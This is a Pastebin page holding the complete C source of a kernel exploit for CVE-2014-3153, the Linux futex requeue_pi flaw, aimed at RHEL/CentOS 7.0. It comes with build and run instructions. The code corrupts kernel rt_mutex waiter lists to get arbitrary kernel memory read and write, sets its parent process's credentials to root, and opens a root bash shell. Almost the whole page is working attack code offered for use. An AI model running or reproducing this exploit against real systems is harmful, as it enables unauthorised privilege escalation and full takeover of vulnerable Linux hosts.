Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
- * By Kaiqu Chen ( kaiquchen@163.com )
- * Based on libfutex and the expoilt for Android by GeoHot.
- *
- * Usage:
- * $gcc exploit.c -o exploit -lpthread
- * $./exploit
- *
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <stdbool.h>
- #include <pthread.h>
- #include <fcntl.h>
- #include <signal.h>
- #include <string.h>
- #include <errno.h>
- #include <linux/futex.h>
- #include <sys/socket.h>
- #include <sys/mman.h>
- #include <sys/syscall.h>
- #include <sys/resource.h>
- #include <arpa/inet.h>
- #include <netinet/in.h>
- #include <netinet/tcp.h>
- #define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
- #define FUTEX_WAIT_REQUEUE_PI 11
- #define FUTEX_CMP_REQUEUE_PI 12
- #define USER_PRIO_BASE 120
- #define LOCAL_PORT 5551
- #define SIGNAL_HACK_KERNEL 12
- #define SIGNAL_THREAD_EXIT 10
- #define OFFSET_PID 0x4A4
- #define OFFSET_REAL_PARENT 0x4B8
- #define OFFSET_CRED 0x668
- #define SIZEOF_CRED 160
- #define SIZEOF_TASK_STRUCT 2912
- #define OFFSET_ADDR_LIMIT 0x20
- #define PRIO_LIST_OFFSET 8
- #define NODE_LIST_OFFSET (PRIO_LIST_OFFSET + sizeof(struct list_head))
- #define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
- #define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
- #define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
- #define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
- #define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
- #define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))
- ////////////////////////////////////////////////////////////////////
- struct task_struct;
- struct thread_info {
- struct task_struct *task;
- void *exec_domain;
- int flags;
- int status;
- int cpu;
- int preempt_count;
- void *addr_limit;
- };
- struct list_head {
- struct list_head *next;
- struct list_head *prev;
- };
- struct plist_head {
- struct list_head node_list;
- };
- struct plist_node {
- int prio;
- struct list_head prio_list;
- struct list_head node_list;
- };
- struct rt_mutex {
- unsigned long wait_lock;
- struct plist_head wait_list;
- struct task_struct *owner;
- };
- struct rt_mutex_waiter {
- struct plist_node list_entry;
- struct plist_node pi_list_entry;
- struct task_struct *task;
- struct rt_mutex *lock;
- };
- struct mmsghdr {
- struct msghdr msg_hdr;
- unsigned int msg_len;
- };
- struct cred {
- int usage;
- int uid; /* real UID of the task */
- int gid; /* real GID of the task */
- int suid; /* saved UID of the task */
- int sgid; /* saved GID of the task */
- int euid; /* effective UID of the task */
- int egid; /* effective GID of the task */
- int fsuid; /* UID for VFS ops */
- int fsgid; /* GID for VFS ops */
- };
- ////////////////////////////////////////////////////////////////////
- static int swag = 0;
- static int swag2 = 0;
- static int main_pid;
- static pid_t waiter_thread_tid;
- static pthread_mutex_t hacked_lock;
- static pthread_cond_t hacked;
- static pthread_mutex_t done_lock;
- static pthread_cond_t done;
- static pthread_mutex_t is_thread_desched_lock;
- static pthread_cond_t is_thread_desched;
- static volatile int do_socket_tid_read = 0;
- static volatile int did_socket_tid_read = 0;
- static volatile int do_dm_tid_read = 0;
- static volatile int did_dm_tid_read = 0;
- static pid_t last_tid = 0;
- static volatile int_sync_time_out = 0;
- struct thread_info thinfo;
- char task_struct_buf[SIZEOF_TASK_STRUCT];
- struct cred cred_buf;
- struct thread_info *hack_thread_stack = NULL;
- pthread_t thread_client_to_setup_rt_waiter;
- int listenfd;
- int sockfd;
- int clientfd;
- ////////////////////////////////////////////////////////////////
- int gettid()
- {
- return syscall(__NR_gettid);
- }
- ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
- int pipefd[2];
- ssize_t len;
- pipe(pipefd);
- len = write(pipefd[1], kbuf, count);
- if (len != count) {
- printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
- while(1) { sleep(10); }
- }
- read(pipefd[0], ubuf, count);
- close(pipefd[0]);
- close(pipefd[1]);
- return len;
- }
- ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
- int pipefd[2];
- ssize_t len;
- pipe(pipefd);
- write(pipefd[1], ubuf, count);
- len = read(pipefd[0], kbuf, count);
- if (len != count) {
- printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
- while(1) { sleep(10); }
- }
- close(pipefd[0]);
- close(pipefd[1]);
- return len;
- }
- int pthread_cancel_immediately(pthread_t thid)
- {
- pthread_kill(thid, SIGNAL_THREAD_EXIT);
- pthread_join(thid, NULL);
- return 0;
- }
- void set_addr_limit(void *sp)
- {
- long newlimit = -1;
- write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
- }
- void set_cred(struct cred *kcred)
- {
- struct cred cred_buf;
- int len;
- len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
- cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
- cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
- len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
- }
- struct rt_mutex_waiter *pwaiter11;
- void set_parent_cred(void *sp, int parent_tid)
- {
- int len;
- int tid;
- struct task_struct *pparent;
- struct cred *pcred;
- set_addr_limit(sp);
- len = read_pipe(sp, &thinfo, sizeof(thinfo));
- if(len != sizeof(thinfo)) {
- printf("Read %p error %d\n", sp, len);
- }
- void *ptask = thinfo.task;
- len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
- tid = *(int *)(task_struct_buf + OFFSET_PID);
- while(tid != 0 && tid != parent_tid) {
- pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
- len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
- tid = *(int *)(task_struct_buf + OFFSET_PID);
- }
- if(tid == parent_tid) {
- pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
- set_cred(pcred);
- } else
- printf("Pid %d not found\n", parent_tid);
- return;
- }
- static int read_voluntary_ctxt_switches(pid_t pid)
- {
- char filename[256];
- FILE *fp;
- int vcscnt = -1;
- sprintf(filename, "/proc/self/task/%d/status", pid);
- fp = fopen(filename, "rb");
- if (fp) {
- char filebuf[4096];
- char *pdest;
- fread(filebuf, 1, sizeof filebuf, fp);
- pdest = strstr(filebuf, "voluntary_ctxt_switches");
- vcscnt = atoi(pdest + 0x19);
- fclose(fp);
- }
- return vcscnt;
- }
- static void sync_timeout_task(int sig)
- {
- int_sync_time_out = 1;
- }
- static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
- {
- while (*do_request == 0) { }
- printf("Press RETURN after one second...");
- *did_request = 1;
- getchar();
- return 0;
- }
- static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
- {
- struct sigaction act;
- int vcscnt;
- int_sync_time_out = 0;
- act.sa_handler = sync_timeout_task;
- sigemptyset(&act.sa_mask);
- act.sa_flags = 0;
- act.sa_restorer = NULL;
- sigaction(SIGALRM, &act, NULL);
- alarm(3);
- while (*do_request == 0) {
- if (int_sync_time_out)
- return -1;
- }
- alarm(0);
- vcscnt = read_voluntary_ctxt_switches(pid);
- *did_request = 1;
- while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
- usleep(10);
- }
- return 0;
- }
- static void sync_with_parent(int volatile *do_request, int volatile *did_request)
- {
- *do_request = 1;
- while (*did_request == 0) { }
- }
- void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
- {
- struct rt_mutex_waiter *pwaiter6, *pwaiter7;
- struct rt_mutex_waiter waiter6, waiter7;
- struct rt_mutex mutex;
- if(!pmutex)
- return;
- read_pipe(pmutex, &mutex, sizeof(mutex));
- pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
- if(!pwaiter6)
- return;
- read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
- pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
- if(!pwaiter7)
- return;
- read_pipe(pwaiter7, &waiter7, sizeof(waiter7));
- waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
- waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
- mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
- waiter7.list_entry.node_list.next = waiter6.list_entry.node_list.prev;
- write_pipe(pmutex, &mutex, sizeof(mutex));
- write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
- write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
- }
- static void void_handler(int signum)
- {
- pthread_exit(0);
- }
- static void kernel_hack_task(int signum)
- {
- struct rt_mutex *prt_mutex, rt_mutex;
- struct rt_mutex_waiter rt_waiter11;
- int tid = syscall(__NR_gettid);
- int pid = getpid();
- set_parent_cred(hack_thread_stack, main_pid);
- read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));
- prt_mutex = rt_waiter11.lock;
- read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));
- void *ptask_struct = rt_mutex.owner;
- ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
- int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
- int *ppid = (int *)(task_struct_buf + OFFSET_PID);
- void **pstack = (void **)&task_struct_buf[8];
- void *owner_sp = *pstack;
- set_addr_limit(owner_sp);
- pthread_mutex_lock(&hacked_lock);
- pthread_cond_signal(&hacked);
- pthread_mutex_unlock(&hacked_lock);
- }
- static void *call_futex_lock_pi_with_priority(void *arg)
- {
- int prio;
- struct sigaction act;
- int ret;
- prio = (long)arg;
- last_tid = syscall(__NR_gettid);
- pthread_mutex_lock(&is_thread_desched_lock);
- pthread_cond_signal(&is_thread_desched);
- act.sa_handler = void_handler;
- sigemptyset(&act.sa_mask);
- act.sa_flags = 0;
- act.sa_restorer = NULL;
- sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
- act.sa_handler = kernel_hack_task;
- sigemptyset(&act.sa_mask);
- act.sa_flags = 0;
- act.sa_restorer = NULL;
- sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
- setpriority(PRIO_PROCESS, 0, prio);
- pthread_mutex_unlock(&is_thread_desched_lock);
- sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
- ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
- return NULL;
- }
- static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
- {
- pthread_t th4;
- pid_t pid;
- do_dm_tid_read = 0;
- did_dm_tid_read = 0;
- pthread_mutex_lock(&is_thread_desched_lock);
- pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
- pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
- pid = last_tid;
- sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
- pthread_mutex_unlock(&is_thread_desched_lock);
- return th4;
- }
- static int server_for_setup_rt_waiter(void)
- {
- int sockfd;
- int yes = 1;
- struct sockaddr_in addr = {0};
- sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
- setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
- addr.sin_family = AF_INET;
- addr.sin_port = htons(LOCAL_PORT);
- addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
- bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
- listen(sockfd, 1);
- listenfd = sockfd;
- return accept(sockfd, NULL, NULL);
- }
- static int connect_server_socket(void)
- {
- int sockfd;
- struct sockaddr_in addr = {0};
- int ret;
- int sock_buf_size;
- sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
- if (sockfd < 0) {
- printf("socket failed\n");
- usleep(10);
- } else {
- addr.sin_family = AF_INET;
- addr.sin_port = htons(LOCAL_PORT);
- addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
- }
- while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
- usleep(10);
- }
- sock_buf_size = 1;
- setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
- return sockfd;
- }
- unsigned long iov_base0, iov_basex;
- size_t iov_len0, iov_lenx;
- static void *client_to_setup_rt_waiter(void *waiter_plist)
- {
- int sockfd;
- struct mmsghdr msgvec[1];
- struct iovec msg_iov[8];
- unsigned long databuf[0x20];
- int i;
- int ret;
- struct sigaction act;
- act.sa_handler = void_handler;
- sigemptyset(&act.sa_mask);
- act.sa_flags = 0;
- act.sa_restorer = NULL;
- sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
- waiter_thread_tid = syscall(__NR_gettid);
- setpriority(PRIO_PROCESS, 0, 12);
- sockfd = connect_server_socket();
- clientfd = sockfd;
- for (i = 0; i < ARRAY_SIZE(databuf); i++) {
- databuf[i] = (unsigned long)waiter_plist;
- }
- for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
- msg_iov[i].iov_base = waiter_plist;
- msg_iov[i].iov_len = (long)waiter_plist;
- }
- msg_iov[1].iov_base = (void *)iov_base0;
- msgvec[0].msg_hdr.msg_name = databuf;
- msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
- msgvec[0].msg_hdr.msg_iov = msg_iov;
- msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
- msgvec[0].msg_hdr.msg_control = databuf;
- msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
- msgvec[0].msg_hdr.msg_flags = 0;
- msgvec[0].msg_len = 0;
- syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
- sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
- ret = 0;
- while (1) {
- ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
- if (ret <= 0) {
- break;
- } else
- printf("sendmmsg ret %d\n", ret);
- }
- return NULL;
- }
- static void plist_set_next(struct list_head *node, struct list_head *head)
- {
- node->next = head;
- head->prev = node;
- node->prev = head;
- head->next = node;
- }
- static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
- {
- rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
- rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
- plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
- plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
- }
- static bool do_exploit(void *waiter_plist)
- {
- void *magicval, *magicval2;
- struct rt_mutex_waiter *rt_waiters;
- pid_t pid;
- pid_t pid6, pid7, pid12, pid11;
- rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);
- syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
- while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
- usleep(10);
- }
- pthread_t th6 = create_thread_do_futex_lock_pi_with_priority(6);
- pthread_t th7 = create_thread_do_futex_lock_pi_with_priority(7);
- swag2 = 0;
- do_socket_tid_read = 0;
- did_socket_tid_read = 0;
- syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
- if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
- return false;
- }
- setup_waiter_params(rt_waiters);
- magicval = rt_waiters[0].list_entry.prio_list.next;
- printf("Checking whether exploitable..");
- pthread_t th11 = create_thread_do_futex_lock_pi_with_priority(11);
- if (rt_waiters[0].list_entry.prio_list.next == magicval) {
- printf("failed\n");
- return false;
- }
- printf("OK\nSeaching good magic...\n");
- magicval = rt_waiters[0].list_entry.prio_list.next;
- pthread_cancel_immediately(th11);
- pthread_t th11_1, th11_2;
- while(1) {
- setup_waiter_params(rt_waiters);
- th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
- magicval = rt_waiters[0].list_entry.prio_list.next;
- hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
- rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;
- th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
- magicval2 = rt_waiters[1].list_entry.node_list.prev;
- printf("magic1=%p magic2=%p\n", magicval, magicval2);
- if(magicval < magicval2) {
- printf("Good magic found\nHacking...\n");
- break;
- } else {
- pthread_cancel_immediately(th11_1);
- pthread_cancel_immediately(th11_2);
- }
- }
- pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
- pthread_mutex_lock(&hacked_lock);
- pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
- pthread_cond_wait(&hacked, &hacked_lock);
- pthread_mutex_unlock(&hacked_lock);
- close(listenfd);
- struct rt_mutex_waiter waiter11;
- struct rt_mutex *pmutex;
- int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
- if(len != sizeof(waiter11)) {
- pmutex = NULL;
- } else {
- pmutex = waiter11.lock;
- }
- fix_rt_mutex_waiter_list(pmutex);
- pthread_cancel_immediately(th11_1);
- pthread_cancel_immediately(th11_2);
- pthread_cancel_immediately(th7);
- pthread_cancel_immediately(th6);
- close(clientfd);
- pthread_cancel_immediately(thread_client_to_setup_rt_waiter);
- exit(0);
- }
- #define MMAP_ADDR_BASE 0x0c000000
- #define MMAP_LEN 0x0c001000
- int main(int argc, char *argv[])
- {
- unsigned long mapped_address;
- void *waiter_plist;
- printf("CVE-2014-3153 exploit by Chen Kaiqu(kaiquchen@163.com)\n");
- main_pid = gettid();
- if(fork() == 0) {
- iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
- if (iov_base0 < 0xb0000000) {
- printf("mmap failed?\n");
- return 1;
- }
- iov_len0 = 0x10000;
- iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
- if (iov_basex < MMAP_ADDR_BASE) {
- printf("mmap failed?\n");
- return 1;
- }
- iov_lenx = MMAP_LEN;
- waiter_plist = (void *)iov_basex + 0x400;
- pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
- sockfd = server_for_setup_rt_waiter();
- if (sockfd < 0) {
- printf("Server failed\n");
- return 1;
- }
- if (!do_exploit(waiter_plist)) {
- return 1;
- }
- return 0;
- }
- while(getuid())
- usleep(100);
- execl("/bin/bash", "bin/bash", NULL);
- return 0;
- }
Add Comment
Please, Sign In to add comment